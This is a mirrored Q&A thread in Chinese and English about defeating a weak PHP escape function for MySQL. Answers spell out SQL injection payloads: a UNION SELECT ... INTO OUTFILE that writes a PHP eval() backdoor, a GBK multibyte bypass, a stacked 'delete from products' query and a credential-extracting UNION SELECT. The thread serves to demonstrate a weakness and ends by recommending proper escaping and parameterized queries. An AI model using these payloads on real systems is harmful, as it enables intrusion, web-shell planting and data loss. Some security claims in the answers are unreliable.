发现MySql有一个弱转义函数,如何利用?

发布于 2024-09-13 07:30:43 字数 668 浏览 7 评论 0原文

在我正在开发的一个应用程序中,我发现了一个弱转义函数来防止注入。我试图证明这一点,但我很难想出一个简单的例子。

转义函数的工作原理如下(PHP 示例)。

function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

我意识到这不处理使用双引号 (") 编码的值,但所有查询都是使用单引号 (') 构造的。

谁能击败这个转义函数?

要求:

  • 查询中的字符串始终用引号引起来。
  • 双引号从未使用过
  • MySQL 连接设置为 UTF8

简单示例:

$sql = "SELECT id FROM users WHERE username = '" . escape($username) . "' AND password = '" . escape($password) . "'";
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";

In an application I'm working on I've found a weak escape function to prevent injection. I'm trying to prove this, but I'm having trouble coming up with a simple example.

The escape function works as follows (PHP example).

function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

I realize this doesn't deal with values encoded using double quotes ("), but all queries are constructed using single quotes (').

Who can defeat this escape function?

Requirements:

  • String in queries are always enclosed in quotes.
  • Double-quotes are never used.
  • MySQL connection is set to UTF8.

Simple examples:

$sql = "SELECT id FROM users WHERE username = '" . escape($username) . "' AND password = '" . escape($password) . "'";
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(7

天涯离梦残月幽梦 2024-09-20 07:30:43

如果您只是'' 替换 ' 那么您可以通过注入 \' 来利用它,它将变成到 \'' 中,这将允许您突破,因为这为您提供了“字符文字”单引号和真正的单引号。但是,将 "\\" 替换为 "\\\\" 可以消除此攻击。双单引号用于“转义”MS-SQL 的单引号,但这不适合 MySQL,但它可以工作。

以下代码证明除了三个条件之外,此转义函数对于所有情况都是安全的。此代码排列控制章程的所有可能变体,并测试每个变体以确保单引号括起来的 select 语句不会发生错误。此代码在 MySQL 5.1.41 上进行了测试。

<?php
mysql_connect("localhost",'root','');
function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

$chars=array("'","\\","\0","a");

for($w=0;$w<4;$w++){
    for($x=0;$x<4;$x++){
        for($y=0;$y<4;$y++){
            for($z=0;$z<4;$z++){
                mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
            }       
        }
    }
}
print "Escape function is safe :(";
?>

漏洞条件 1:未使用引号。

mysql_query("select username from users where id=".escape($_GET['id']));

漏洞利用:

http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"

漏洞条件 2:使用双引号

mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");

漏洞利用:

http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

漏洞条件 2:使用单引号,但 < a href="http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string" rel="noreferrer">使用替代字符集。

mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");

利用:

http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

结论是始终使用mysql_real_escape_string()作为MySQL的转义例程。连接到 mysql 数据库时,pdo 和 adodb 等参数化查询库始终使用 mysql_real_escape_string() 。 addslashes() 是一个逃逸例程的更好,因为它可以处理易受攻击的情况 2。应该注意的是,即使是 mysql_real_escape_string()将停止条件 1,但参数化查询库会停止。

If you are just replacing ' with '' then you could exploit this by injecting a \' which will turn into a \'' and this will allow you to break out because this gives you a "character literal" single-quote and a real single-quote. However, the replacement of "\\" with "\\\\" negates this attack. The double-single-quote is used to "escape" single quotes for MS-SQL, but this isn't proper for MySQL, but it can work.

The following codes proves that this escape function is safe for all except three conditions. This code permutes though all possible variations of control charters, and testing each one to make sure an error doesn't occur with a single quote encased select statement. This code was tested on MySQL 5.1.41.

<?php
mysql_connect("localhost",'root','');
function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

$chars=array("'","\\","\0","a");

for($w=0;$w<4;$w++){
    for($x=0;$x<4;$x++){
        for($y=0;$y<4;$y++){
            for($z=0;$z<4;$z++){
                mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
            }       
        }
    }
}
print "Escape function is safe :(";
?>

Vulnerable Condition 1: no quote marks used.

mysql_query("select username from users where id=".escape($_GET['id']));

Exploit:

http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"

Vulnerable Condition 2: double quote marks used

mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");

Exploit:

http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

Vulnerable Condition 2: single quotes are used, however an alternative character set is used..

mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");

Exploit:

http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

The conclusion is to always use mysql_real_escape_string() as the escape routine for MySQL. Parameterized query libraries like pdo and adodb always use mysql_real_escape_string() when connected to a mysql database. addslashes() is FAR BETTER of an escape routine because it takes care of vulnerable condition 2. It should be noted that not even mysql_real_escape_string() will stop condition 1, however a parameterized query library will.

允世 2024-09-20 07:30:43

事实上,此外您还可以尝试使用 UNION SELECT

shop.php?productid=322

=>

shop.php?productid=322 UNION SELECT 1,2,3 FROM users WHERE 1;--

显示其他表的信息。

当然,您必须更改表名称和 UNION SELECT 中的数字以匹配您拥有的列数。这是提取管理员用户名和密码等数据的流行方法。

Indeed, in addition you could try something with UNION SELECT

shop.php?productid=322

=>

shop.php?productid=322 UNION SELECT 1,2,3 FROM users WHERE 1;--

To display information from other tables.

Of course you would have to change the table name and the numbers inside the UNION SELECT to match the amount of columns you have. This is a popular way of extracting data like admin user names and passwords.

行雁书 2024-09-20 07:30:43

转义函数不处理多字节字符。检查 http://shiflett.org/blog/2006 /jan/addslashes-versus-mysql-real-escape-string 查看如何利用此转义函数。

享受黑客数据库的乐趣!

The escape function doesn't handle multibyte characters. Check http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string to see how to exploit this escape function.

Have fun hacking your database!

夜司空 2024-09-20 07:30:43

处理数字时怎么样?

shop.php?productid=322 

变为

SELECT * FROM [Products] WHERE Productid=322


shop.php?productid=322; delete from products;--

变为

SELECT * FROM [Products] WHERE Productid=322;从产品中删除;--

(并非所有查询都是使用单引号和字符串构建的)

How about when dealing with numbers?

shop.php?productid=322 

becomes

SELECT * FROM [Products] WHERE productid=322


shop.php?productid=322; delete from products;--

becomes

SELECT * FROM [Products] WHERE productid=322; delete from products;--

(Not all queries are built with single quotes and strings)

一袭水袖舞倾城 2024-09-20 07:30:43

由于您使用 UTF-8 作为编码,因此可能容易受到过长 UTF-8 序列的影响。撇号字符 (') 虽然通常编码为 0x27,但可以编码为超长序列 0xc0 0xa7(URL 编码:%c0%a7)。转义函数会错过这一点,但 MySQL 可能会以导致 SQL 注入的方式解释它。

正如其他人提到的,您确实需要至少使用 mysql_real_escape_string (在您的情况下很容易修复),它应该为您处理字符编码和其他问题。最好切换到使用准备好的语句。

Since you are using UTF-8 as the encoding, this could be vulnerable to an overlong UTF-8 sequence. An apostrophe character ('), while normally encoded as 0x27, could be encoded as the overlong sequence 0xc0 0xa7 (URL-encoded: %c0%a7). The escape function would miss this, but MySQL may interpret it in a way that causes a SQL injection.

As others have mentioned, you really need to be using mysql_real_escape_string at minimum (easy fix in your case), which should be handling character encoding and other issues for you. Preferably, switch to using prepared statements.

夏天碎花小短裙 2024-09-20 07:30:43

我从来没有使用过PHP,但是,你能不使用存储过程调用而不是直接SQL语句吗?与尝试使用转义函数相比,这似乎是更好的防御 SQL 注入的方法。

然而,转义函数对于对抗恶意 JavaScript 很有用。

I've never used PHP, however, can you not use Stored Procedure calls instead of direct SQL statements? It seems like a better defense against SQL injection than trying to use an escape function.

An escape function, however, would be useful against malicious javascript.

南风起 2024-09-20 07:30:43

怎么样...

\' or 1=1--

应该扩展到:

\'' or 1=1--

因此在以下查询中使用它作为 id...

$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";

应该会导致:

$sql = "UPDATE users SET email = '<whatever>' WHERE id = '\'' or 1=1--';

how about...

\' or 1=1--

Which should be expanded to:

\'' or 1=1--

So using it for id in the following query...

$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";

should result in:

$sql = "UPDATE users SET email = '<whatever>' WHERE id = '\'' or 1=1--';
~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文